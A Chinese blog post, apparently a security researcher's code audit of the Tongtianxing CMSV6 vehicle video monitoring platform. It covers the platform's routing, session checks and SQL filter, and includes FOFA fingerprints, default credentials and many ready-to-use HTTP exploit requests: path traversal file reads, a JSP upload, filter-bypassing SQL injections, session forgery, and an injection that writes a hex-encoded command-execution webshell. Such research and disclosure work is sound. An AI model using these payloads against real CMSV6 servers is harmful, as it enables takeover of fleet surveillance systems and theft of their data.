通天星CMSV6代码审计

于 2024-08-16 11:19:05 发布
阅读量440 收藏 7
点赞数 7
文章标签： web安全 安全 java sql
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/baidu_25299117/article/details/140690863
版权

fofa指纹

body="./open/webApi.html"||body="/808gps/"

/gpsweb/WEB-INF/classes/config/version.conf中可以查看版本。

框架分析

默认安装目录为C:\Program Files\CMSServerV6\

默认账户：admin/admin

框架结构

跟进web.xml，可以看到用了Spring框架。spring-mvc.xml中定义了要扫描的base-package包括com.gps808，com.framework，com.gener，com.ttx，com.upgradeService。

    <servlet>
        <servlet-name>spring</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <init-param>
            <param-name>contextConfigLocation</param-name>
            <param-value>classpath:/spring-mvc.xml</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>spring</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

所有以.action和.html结尾的路由都由Struts2处理

    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>*.action</url-pattern>
        <dispatcher>REQUEST</dispatcher>
        <dispatcher>FORWARD</dispatcher>
        <dispatcher>INCLUDE</dispatcher>
    </filter-mapping>

跟进struts.xml

<constant name="struts.action.excludePattern" value="/ws/.*,ws://.*,/druid/.*"/>

<!-- =========web请求通用配置========== -->
<action name="**/*_*.action" class="{2}" method="{3}">

<!-- =========API请求通用配置========== -->
<action name="*_*.action" class="{1}" method="{2}">

其中API请求配置位于struts-api-action.xml，配置了每个API Action的访问路径（基本都包含StandardApiAction）。

前缀问题

有意思的是，网上涉及到struts2路由的poc中都带了/808gps/这个路由前缀，但是在审计过程中这个package名并不是必须的。仔细看struts.xml中的web请求通用配置，如下

<action name="**/*_*.action" class="{2}" method="{3}">

** 可以匹配任意数量的路径段，/808gps可以匹配，/aa/bb也可以匹配。并不影响后面class和method的调用。所以这个前缀可以有，也可以没有，甚至可以是任何东西。

class访问

Struts2和Spring框架结合的特点是

1. 如果Action类在Struts2的struts.xml中定义，可以直接通过name属性来调用。例如通天星struts.xml中定义的downloadLogger.action

<action name="downloadLogger.action" class="com.gps808.loggerManagement.action.DownloadLoggerAction">
    <result name="success" type="stream">
        <param name="contentType">application/octet-stream</param>
        <param name="inputName">inputStream</param>　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
        <param name="contentDisposition">attachment;filename="${fileName}"</param>
        <param name="bufferSize">4096</param>
    </result>
</action>

2. 如果Action类在Spring的配置文件中定义为Bean，可以通过Bean的名字调用。例如applicationContext-gps808-api.xml文件中的StandardApiAction

<bean name="StandardApiAction" class="com.gps808.api.action.StandardApiAction" scope="prototype" parent="standardUserBaseAction">
    <property name="videoTrackService" ref="videoTrackService" />
    <property name="standardVehicleMediaService" ref="standardVehicleMediaService" />
</bean>

3. 如果既没有在struts.xml中定义，又没有在Spring配置文件中定义为Bean，那么想要访问相应的Action类需要使用全限定类名，否则无法找到对应的class。例如com.framework.web.action.FileUploadAction

<action name="**/*_*.action" class="{2}" method="{3}">

 session

Ps：如果响应result:2的话，则是表示该路由需要登录后才能访问

sessionFilter.xml中定义了诸多无需session的Action，如下

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xml>
<model>
	<value>com.framework.web.action.FileUploadAction</value>
	<value>com.framework.web.action.RandomPictureAction</value>
	<value>com.framework.web.action.FileDownLoadAction</value>
	<value>com.gps808.operationManagement.action.StandardLoginAction</value>
	<value>com.gps808.plugin.schoolBus.action.StandardWechatAction</value>
	<value>com.gps808.api.action.StandardApiAction</value>
	<value>com.gps808.api.action.RestfulAction</value>
	<value>com.gps808.api.action.AccountAction</value>
	<value>com.gps808.api.action.LoginAction</value>
	<value>com.gps808.api.action.MobileAction</value>
	<value>com.gps808.api.action.LoginApiAction</value>
	<value>com.gps808.api.action.AlarmAction</value>
	<value>com.gps808.api.action.CompanyAction</value>
	<value>com.gps808.api.action.RoleAction</value>
	<value>com.gps808.api.action.DevFlowAction</value>
	<value>com.gps808.api.action.DeviceAction</value>
	<value>com.gps808.api.action.DispatchGroupAction</value>
	<value>com.gps808.api.action.LineAction</value>
	<value>com.gps808.api.action.MapMarkerAction</value>
	<value>com.gps808.api.action.PictureAction</value>
	<value>com.gps808.api.action.StandardApiServerAction</value>
	<value>com.gps808.api.action.StandardRuleMaintainAction</value>
	<value>com.gps808.api.action.SuperVisionAction</value>
	<value>com.gps808.api.action.TtsAction</value>
	<value>com.gps808.api.action.UserInspecAction</value>
	<value>com.gps808.api.action.UserSessionAction</value>
	<value>com.gps808.api.action.VehiAction</value>
	<value>com.gps808.api.action.VehicleMediaAction</value>
	<value>com.gps808.api.action.VideoAction</value>
	<value>com.gps808.api.action.PhoneOrderAction</value>
	<value>com.gps808.api.action.TaxiBigScreenAnalysisAction</value>
	<value>com.gps808.api.action.UploadAction</value>
	<value>com.gps808.api.action.SupervisionBoardAnalysisAction</value>
	<value>com.gps808.api.action.WisdomMuckBoardAnalysisAction</value>
	<!--车辆与司机操作信息 -->
	<value>com.gps808.api.action.VehicleDriverAction</value>
	<value>com.gps808.api.action.WebuploaderApiAction</value>
	<value>com.gps808.api.action.DriverAction</value>
	<value>com.gps808.api.action.SchoolBusApiAction</value>

	<value>com.gps808.api.action.VehiDataAnalysisAction</value>
	<value>com.gps808.api.action.VehiOilAction</value>

	<value>com.gps808.api.action.SimCardAction</value>
	<value>com.gps808.api.action.PeopleAction</value>
	<!--微信模块 -->
	<value>com.gps808.wechat.module.wechat.WechatController</value>
	<value>com.gps808.api.action.WxpayAction</value>
	<value>com.gps808.api.action.DevOfflineUpgradeAction</value>

	<value>com.gps808.vdo.action.Vdo</value>
	<value>com.gps808.vdo.action.VdoE</value>
	<value>com.gps808.vdo.action.Status</value>
	<value>com.gz.system.action.GzBkLoginAction</value>
	<value>com.gps808.plugin.eleCirManagement.action.StandardOpenAction</value>
	<value>com.gps808.track.action.StandardTrackAction</value>
	<value>com.gps808.loggerManagement.action.SelectDevAction</value>
	<value>com.gps808.loggerManagement.action.MultiFileDownloadAction</value>
	<value>com.gps808.loggerManagement.action.DownloadLoggerAction</value>
	<value>com.gps808.operationManagement.action.StandardHttpSendAction</value>
<!--	<value>com.gps808.report.action.StandardReportAlarmSuBiao</value>-->
	<value>com.gps808.operationManagement.action.StandardDriverAction</value>
	<value>com.gps808.monitor.action.StandardTTSAction</value>
	<value>com.gps808.operationManagement.action.StandardBannerManagementAction</value>
	<value>com.gps808.report.action.StandardReportMediaAction</value>
	<value>com.gps808.report.action.StandardIndexManageAction</value>
	<value>com.gps808.operationManagement.action.WebuploaderAction</value>

	<!--H5/App报表-->
	<value>com.gps808.h5.action.StandardH5Action</value>
	<value>com.gps808.h5.action.StandardOilAction</value>
	<value>com.gps808.h5.action.StandardClockAction</value>
	<value>com.gps808.h5.action.StandardMileageAction</value>

</model>

查找sessionFilter.xml在何处被引用，定位到SessionIterceptor。它在struts.xml中配置如下

<interceptor name="sessionOut" class="com.gpsCommon.filter.SessionIterceptor"/>

代码如下

首先要跳过如下if的判断，才能进入到else调用方法的逻辑中。

if ((SessionParamFilter.getSessionUserId() != null || SessionParamFilter.getPoliceId() != null || SessionParamFilter.getSessionDriverId() != null) && !this.handleMethodAuth(SessionParamFilter.getSessionId(), action.getClass(), method))

这几个或关系的getxxId的逻辑非常相似

都是通过获取jsessionId相关参数或头部参数来赋值，如果无法从相应的Attribute中获取到值就返回null。

handleMethodAuth，获取方法上的@CheckPermission标签，如果没有获取到，就获取类上的@CheckPermission标签。

else中对于是否直接调用方法的判断逻辑如下。1. struts.xml配置的name包含.html 2. @NotLogin标签 3. isAllowContinue允许的Action。4. method包含excel

针对于条件3中的判断action是否是allow的，如果是的话，直接反射调用方法。而相应的lstAction这个allow列表是从sessionFilter.xml中读取的这些Action类。

else if (this.isAllowContinue(action.getClass().getName()) && !name.contains("_keepSessionLive")) {
    return invocation.invoke();
} 


private boolean isAllowContinue(String actionName) {
    return !AssertUtils.isNull(actionName) && lstAction != null ? lstAction.contains(actionName) : false;
}

p6spy组件 

p6spy是一个开源项目，可以截取和记录数据库数据，而无需对现有应用程序进行代码更改。想要使用p6spy，在引入该项目后，需要配置spy.properties。通天星配置如下

  • driverlist：指定要监控的数据库驱动（如MySQL）。
  • dateformat 和 databaseDialectDateFormat：定义日志输出中日期时间的格式。
  • appender：指定日志记录的方式（这里使用的是SLF4J）。
  • logMessageFormat：定义日志格式化方式，指定了一个自定义的格式化器类。

slf4j仅仅是一个为Java程序提供日志输出的统一接口，需要配合其他日志实现方案使用，如log4j2。通天星log4j2配置如下。INFO级别的日志信息会输出到log_info.log文件中。

log_info.log的绝对路径为C:\Program Files\CMSServerV6\tomcat\logs\log_info.log

p6spy既然回监控数据库操作，那么查看通天星Hibernate相关配置，例如standardusersession.hbm.xml。对应的表是user_session表

sql过滤

gpsCommon的Filter中有个名为SqlFilter的类。对sql的一些关键字进行过滤，如果匹配到就会报错。

但是它对上述四个路由不进行过滤，这也导致了StandardApiAction_vehicleTTS的sql注入漏洞可以用select等字眼。

首先，架构分析中提到sqlFilter是用str.contains(badStrs[i])来匹配黑名单的，而Java 的String.contains()方法是大小写敏感的，它不会将SELECT和黑名单的select匹配。所以sqlFilter在实现的时候先执行了一步str = str.toLowerCase();将所有传入的字符转为小写字符，避免大写绕过。

另外需要注意，这里获取路径用的是req.getRequestURI，会包含特殊字符。假如路径中为/;/index，那么req.getRequestURI获取得到的结果依旧是/;/index，而tomcat在解析时会把分号后面的内容截断。这样就可以在存在sql漏洞点的路由后加入;downloadLogger.action字眼，绕过检测。

历史漏洞

通天星官方有个历史漏洞列表：http://faq.cmsv8.com/helpcenter.html?page_id=1249

官方列出的历史漏洞。大部分漏洞在7.33.0.7已经修复。

漏洞名称漏洞详情严重等级受影响的版本
远程代码执行漏洞web.body=”/808gps/js/public.js”高危<= V7.33.0.2
用户密码重置漏洞通过构造漏洞利用数据包，可重置任意用户的账号密码高危<= V7.33.0.2
任意文件删除漏洞通过构造漏洞利用数据包，可实现任意文件删除高危<= V7.33.0.2
SQL注入漏洞/run_stop/delete.do;downloadLogger.action高危< V7.33.0.1
用户SESSION伪造漏洞com\gps808\api\action\UserSessionAction.class高危<= V7.33.0.3
命令执行漏洞全局登陆校验拦截器，只有满⾜⼀些条件的请求路由才允许未授权访问,通过访问恶意篡改的文件可以过掉该拦截器高危<= V7.33.0.3
/inspect_file/upload 文件上传漏洞/inspect_file/upload高危<= V7.33
任意文件上传WebuploaderAction_ajaxAttachFileUpload.action高危<= V7.33
SQL注入漏洞getAlarmAppealByGuid;downloadLogger.action中危< V7.33.0.6
/point_manage/merge sql注入漏洞/point_manage/merge高危< V7.33.0.6
逻辑缺陷漏洞com.gps808.api.action.AccountAction接口没有验证jsession中危<= V7.33.0.7
逻辑缺陷漏洞808gps/StandardLoginAction_loginHelpCenter.action中危<= V7.33.0.7

网上已披露的其他漏洞

漏洞名称路由
StandardReportMediaAction_getImage 文件读取漏洞/808gps/StandardReportMediaAction_getImage.action
MobileAction_downLoad.action 文件读取漏洞/808gps/MobileAction_downLoad.action
StandardApiAction_vehicleTTS.action sql注入漏洞/StandardApiAction_vehicleTTS.action
StandardLoginAction_getAllUser.action 信息泄漏漏洞/808gps/StandardLoginAction_getAllUser.action

FileUploadAction_upload 文件上传 + jasper反序列化漏洞

StandardLineAction的report方法

跟进createReport，会调用getJasperReportFromFile，也就是读取xx.jasper文件的内容，然后从该文件中loadObject

loadObject实际就是原生反序列化的代码。

那么只要有一个可控的jasper文件，就可以造成RCE。接着就要找一个上传点。例如FileUploadAction。它是sessionFilter中定义的类，也就是无需session

反序列化在利用时需要注意，lib中符合攻击条件的jar包是commons-beanutils-1.8.0.jar，虽然cb链条很常见，但是网上默认的payload都是用1.9生成的，打1.8会出现问题。需要用cb1.8来攻击。

复现如下

先上传jasper文件

再触发反序列化

CommonBaseAction_downLoad 任意文件下载漏洞

定位/gpsweb/WEB-INF/classes/gpsweb.jar!/com/gpsCommon/action/CommonBaseAction.class。获取filePath，首先经过一个黑名单判断，filePath不能包含tomcat/、tomcat/ttxapps、.xml、WEB-INF、classes。如果不在黑名单中就读取相应的文件

filePath是通过path参数传参的。

需要注意，该抽象类有诸多实现类

POC如下

/808gps/StandardLoginAction_downLoad.action?path=../../../../webapps/../logs/log_info.log&isTure=0

读取log_info日志中的user_session用于登录。

如果显示file not found，尝试更改../数量

MobileAction_downLoad.action 文件下载漏洞

网上的MobileAction文件下载漏洞，poc如下。作为CommonBaseAction的实现类之一，虽然重写了download方法但是与CommonBaseAction逻辑很相似。

GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.55
Connection: close
Accept: */*
Accept-Encoding: gzip

只不过代码中做了..和.的替换，所以无法跨目录

 inspect_file 文件上传

漏洞定位InspectFileUploadController

fileName直接从文件名中获取并拼接。没有进行过滤，可以..跨目录

POC如下

POST /inspect_file/upload HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: */*
Content-Type: multipart/form-data;boundary=-----------------------------7db372eb000e2
 
-----------------------------7db372eb000e2
Content-Disposition: form-data; name="uploadFile"; filename="1.jsp"
Content-Type: application/octet-stream
 
<% out.println("hello,test");new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
-----------------------------7db372eb000e2--

StandardReportMediaAction_getImage 文件读取

POC如下

GET /808gps/StandardReportMediaAction_getImage.action?filePath=C://Windows//win.ini&fileOffset=1&fileSize=100 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1
Accept-Encoding: gzip
Connection: close

 /point_manage/merge sql注入

漏洞定位PointManageController类的merge方法，最终调用的方法如下

sql语句拼接的样式大致为

select ... from xj_point_manage a where a.name= 'xx' and a.id != 'xx'

这个漏洞的关键在于，是怎么绕过sql检查的。

POST /point_manage/merge HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.2882.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
 
id=1&name=1' UNION SELECT%0aNULL, 0x3c25206a6176612e696f2e496e70757453747265616d20696e203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229292e676574496e70757453747265616d28293b696e742061203d202d313b627974655b5d2062203d206e657720627974655b323034385d3b6f75742e7072696e7428223c7072653e22293b7768696c652828613d696e2e7265616428622929213d2d31297b6f75742e7072696e746c6e286e657720537472696e6728622c302c6129293b7d6f75742e7072696e7428223c2f7072653e22293b6e6577206a6176612e696f2e46696c65286170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574536572766c657450617468282929292e64656c65746528293b253e,NULL,NULL,NULL,NULL,NULL,NULL
INTO dumpfile '../../tomcat/webapps/gpsweb/rce.jsp' FROM user_session a
WHERE '1 '='1 &type=3&map_id=4&install_place=5&check_item=6&create_time=7&update_time=8

黑名单是按照｜来拆分的，拆分之后select后面是包含了一个空格的，那么如果我们的语句中select后面没有空格也无法匹配。所以poc中用%0a让空格无法匹配。

disable sql注入

跟进disable方法

存在明显的sql注入问题。但是框架分析中提到系统中是存在sqlFilter过滤器的。在Tomcat中，url中的分号;用于分割路径参数。这里选取downloadLogger.action来绕过校验，它是四个不受过滤的url之一。

GET /edu_security_officer/disable;downloadLogger.action?ids=1+AND+%28SELECT+2688+FROM+%28SELECT%28SLEEP%285%29%29%29kOIi%29 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

/run_stop/delete sql注入

漏洞定位StandardDemoRunStopController

跟进deleteRunStopBatch，明显存在sql注入

sql绕过方式downloadLogger.action分析同上。

GET /run_stop/delete;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0

另外，在官方出的历史漏洞中，getAlarmAppealByGuid;downloadLogger.action这个sql漏洞也是同理，都是用downloadLogger.action后缀绕过检测

StandardApiAction_vehicleTTS sql注入

GET /StandardApiAction_vehicleTTS.action?DevIDNO=5'and(select*from(select+sleep(5))a/**/union/**/select+1)='&Flag=4&Text=qwe HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

StandardLoginAction_getAllUser 信息泄漏

POST /808gps/StandardLoginAction_getAllUser.action HTTP/1.1
Host: ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 
json=null

可以读取账户列表

UserSessionAction 用户SESSION伪造漏洞

整体的代码逻辑很清晰，获取userSession和id参数，如果这两个值不为空，根据session值，执行sql语句"from StandardUserSession where session = :session"。这里的StandardUserSession对应的就是user_session表。

如果没有查到对应的session值，就调用saveThirdSession，根据传入的session和id值，向user_session中插入一条数据。这样就可以伪造某个用户的seesion

String sql = "INSERT INTO user_session (UserID, Session, ClientIP,ClientType, Status, LoginTime) values(:UserID, :Session, :ClientIP,:ClientType, :Status, :LoginTime)";

log_info.log文件中会出现如下的一条日志

2024-08-16 09:54:48 [http-nio-8080-exec-10][com.p6spy.engine.spy.appender.Slf4JLogger.logSQL(Slf4JLogger.java:60)] INFO:SQL | 5 | 2024-08-16 09:54:48 | 3 | statement | INSERT INTO user_session (UserID, Session, ClientIP,ClientType, Status, LoginTime) values(4, '42AA7A2BE767123A42E1530ACC920781', 8080,5, 0, '2024-08-16 09:54:48')

POC如下

POST /808gps/LocationManagement/UserSessionAction_saveUserSession.action HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 127.0.0.1
X-Originating-Ip: 127.0.0.1
X-Remote-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Te: trailers
Connection: close

userSession=42AA7A2BE767123A42E1530ACC920781&id=4

白帽AxisX
关注
  • 7
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【漏洞复现】通天星-CMSV6-delete-downloadLogger-sql注入
知黑而守白
03-18 112
通天星CMSV6车载视频监控平台是东莞市通天星软件科技有限公司研发的监控平台，通天星CMSV6产品覆盖车载录像机、单兵录像机、网络监控摄像机、行驶记录仪等产品的视频综合平台。通天星科技应用于公交车车载、校车车载、大巴车车载、物流车载、油品运输车载、警车车载等公共交通视频监控，还应用在家居看护、商铺远程监控、私家车的行驶分享仪上等。通天星CMSV6车载视频监控平台 downloadLogger 接口存在一个SQL注入漏洞。
1day通天星CMSV6车载定位监控平台merge SQL注入致RCE
weixin_43167326的博客
06-25 891
2024年5月，通天星CMSV6发布新版本修复了一处SQL注入漏洞。漏洞是由于通天星CMSV6车载定位监控平台未对用户的输入进行预编译，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。该漏洞可通过SQL注入实现文件写入进行远程代码执行，获取服务器权限。建议及时修复漏洞。
通天星CMSV6车载视频监控平台SESSION伪造漏洞
weixin_43167326的博客
08-12 848
通天星CMSV6车载视频监控平台是东莞市通天星软件科技有限公司Q研发的监控平台，通天星CMSV6产品覆盖车载录像机、单兵录像机、网络监控摄像机、行驶记录仪等产品的视频综合平台。通天星科技应用于公交车车载、校车车载、大巴车车载、物流车载、油品运输车载、警车车载等公共交通视频监控，还应用在家居看护、商铺远程监控、私家车的行驶分享仪上等。
通天星CMSV6-inspect_file-upload文件上传漏洞
weixin_43167326的博客
03-26 447
通天星CMSV6车载定位监控平台拥有以位置服务、无线3G/4G视频传输、云存储服务为核心的研发团队，专注于为定位、无线视频终端产品提供平台服务，通天星CMSV6产品覆盖车载录像机、单兵录像机、网络监控摄像机、行驶记录仪等产品的视频综合平台。
jizhicms(极致CMS)v1.7.1代码审计引发的思考1
08-03
在深入探讨《jizhicms(极致CMS)v1.7.1代码审计引发的思考1》之前，我们首先要理解CMS（内容管理系统）在IT行业中的重要性。CMS是一种用于创建、编辑和管理数字内容的软件平台，通常用于网站建设和管理。jizhicms作为...
大米CMS v6.0.1
10-10
【大米CMS v6.0.1】是一款专为用户打造的开源、高效且简洁的PC与手机建站一体化系统。它的核心目标是提供一个简单易用的平台，帮助用户快速搭建网站，无论是在传统的个人电脑端还是在移动设备上。这款内容管理系统...
php代码审计入坑实践.pdf
07-30
首先，文章提到了“场景”，这可能是指模拟不同类型的PHP应用环境，如CMS（内容管理系统）或自定义的Web应用程序，以便学习者可以在这些环境中实践代码审计。场景的选择对于理解安全漏洞的实际应用场景至关重要。 ...
网新中英繁CMS v6.7
11-29
"易采源码下载说明.txt"和"易采源码下载.url"文件表明，用户可以方便地获取到网新中英繁CMS v6.7的源代码，这不仅增强了系统的可扩展性，也为开发者提供了深度定制的空间。通过阅读源码，用户能够更好地理解系统工作...
AppCMS_v2.0_代码审计1
08-03
【AppCMS_v2.0 代码审计知识点】 在进行代码审计时，我们通常会关注以下几个核心方面，以确保系统的安全性： 1. **SQL注入防护**： - 在AppCMS v2.0中，预处理了搜索时的值，通过`htmlspecialchars`函数对`$_GET`...
怎么在网络攻击中屹立不倒
dexun123的博客
08-12 631
在当今蓬勃发展的网络游戏产业中，服务器安全无疑是企业生存与发展的基石。面对互联网环境中无处不在的DDoS（分布式拒绝服务）与CC（挑战碰撞）攻击威胁，游戏服务器的防御能力与高效处理能力显得尤为重要。相较于追求综合性能平衡的普通服务器，游戏服务器必须专注于构建坚不可摧的安全防线与流畅无阻的游戏体验，以抵御外部侵扰，确保玩家沉浸于无缝的游戏世界。
【安全工具推荐-Search_Viewer资产测绘】
qq_55213436的博客
08-14 120
Search_Viewer，集Fofa、Hunter鹰图、Shodan、360 quake、Zoomeye 钟馗之眼、censys 为一体的空间测绘gui图形界面化工具，支持一键采集爬取和导出fofa、shodan等数据，方便快捷查看。包含语法帮助手册，忘记查询语法也能方便查看语法，渗透不二之选。
Animetronic - hackmyvm
tanbinn的博客
08-12 442
hackmyvm的Animetronic靶场
安全入门day.02
mxxcxy的博客
08-14 828
这里使用小皮面板部署网页（1）点击安装程序开始安装，在自定义选项中修改安装位置，根据自己实际安装位置设定，作者这里安装在C盘作为演示（2）点击立即安装，等待进度条走完（3）点击安装完成执行程序（4）如果出现以下界面就是安装成功了（5）根据设定的软件安装位置，部署网站，软件根目录下面有3个文件夹，第一个COM文件夹是小皮面板的配置文件，第二个Extensions文件夹是存放已经安装的软件环境，例如php、mysql和Apache等；
人工智能在网络安全威胁测试中的应用：LLMs如何改变网络威胁格局
python12222_的博客
08-12 676
本文通过初步探索和实验验证了LLMs在网络安全威胁测试中的应用潜力。我们发现LLMs能够自动化决策过程，提供高质量的响应，并在一定程度上提升防御系统的能力。然而，我们也意识到LLMs技术的滥用风险和对未来网络安全威胁格局的潜在影响。未来的研究需要进一步探讨LLMs在更复杂网络环境中的应用能力，以及如何负责任地使用这些技术来增强网络安全。通过本文的研究，我们希望能够激发更多关于LLMs在网络安全中应用的讨论和研究，推动该领域的发展，并为未来的网络安全防护提供新的思路和方法。​。
【网络安全】密码重置中毒实现账户接管
最新发布
等风来
08-15 27
我输入了新密码，点击“重置密码”。然后，我被导航到登录页面，在那里我输入了电子邮件和新密码，最后成功登录了账户，说明此漏洞是有效的。
ctf 堆栈结构
qq_69100706的博客
08-12 358
CTF（Capture The Flag）竞赛中，理解堆栈结构对于解决涉及二进制分析、逆向工程和利用开发的挑战至关重要。堆栈是在程序执行过程中用于临时存储数据和管理函数调用的关键数据结构。
DC-4靶机渗透测试
weixin_58786230的博客
08-14 129
【代码】DC-4靶机渗透测试。
Azure与Google Cloud Platform（GCP）的云安全策略与最佳实践（第二篇）
艰难的活着
08-12 1025
然而，理解这些平台的独特之处，并实施相应的安全策略，是确保云环境安全的关键。通过结合这些最佳实践和代码示例，用户可以有效提升其在Azure和GCP上的安全水平。Azure负责物理层和基础设施的安全，而用户负责虚拟机、应用、数据及其权限的管理和安全。GCP提供默认的服务器端加密，用户也可以选择客户管理的加密密钥（CMEK）。GCP的共享责任模型类似于AWS和Azure，GCP负责基础设施的安全，用户负责其使用的服务、数据和访问控制的安全。GCP的KMS服务允许用户创建、管理加密密钥，并与其他GCP服务集成。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值